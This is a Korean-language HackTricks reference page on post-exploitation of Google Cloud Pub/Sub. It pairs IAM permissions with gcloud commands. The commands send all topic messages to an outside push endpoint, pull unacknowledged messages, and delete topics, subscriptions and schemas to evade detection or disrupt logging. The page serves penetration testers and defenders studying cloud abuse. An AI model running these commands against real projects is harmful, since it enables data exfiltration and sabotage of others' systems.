GCP - Pub/Sub Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Pub/Sub

Pub/Sub에 대한 자세한 정보는 다음 페이지를 참조하세요:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

주제에 메시지를 게시하여 예기치 않은 데이터를 전송하고 예기치 않은 기능을 트리거하거나 취약점을 이용하는 데 유용합니다:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

메시지 수신을 방지하기 위해 구독이 메시지를 받지 못하도록 하는 데 유용합니다. 감지를 피하기 위해 사용될 수 있습니다.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

구독이 메시지를 수신하지 못하도록 하기 위해 유용하며, 감지를 피하기 위해 사용될 수 있습니다. 구독이 연결된 토픽을 삭제하는 것도 가능합니다.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

이 권한을 사용하여 --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key와 같은 토픽의 설정을 업데이트하여 중단시킬 수 있습니다.

pubsub.topics.setIamPolicy

이전 공격을 수행할 수 있는 권한을 부여하세요.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

웹 서버에서 모든 메시지를 가져옵니다:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

구독을 생성하고 메시지를 가져오기 위해 사용하세요:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

구독 삭제는 로그 처리 시스템을 방해하는 데 유용할 수 있습니다.

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

이 권한을 사용하여 메시지가 액세스할 수 있는 위치(URL, Big Query 테이블, Bucket)에 저장되도록 설정하거나 그것을 방해하는 데 사용할 수 있습니다.

pubsub.subscriptions.setIamPolicy

이전에 언급된 공격을 수행하는 데 필요한 권한을 부여하세요.

pubsub.schemas.delete

스키마를 삭제하여 스키마를 충족시키지 않는 메시지를 보낼 수 있습니다.

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

주제에 스키마를 연결하여 메시지가 스키마를 충족시키지 않도록 하여 주제를 방해합니다. 스키마가 없는 경우 스키마를 생성해야 할 수도 있습니다.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

이전에 주석 처리된 공격을 수행하기 위해 필요한 권한을 자신에게 부여합니다.

pubsub.snapshots.create, pubsub.snapshots.seek

이는 모든 확인되지 않은 메시지의 스냅샷을 생성하고 구독에 다시 넣습니다. 공격자에게는 그다지 유용하지 않지만 여기에 있습니다:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新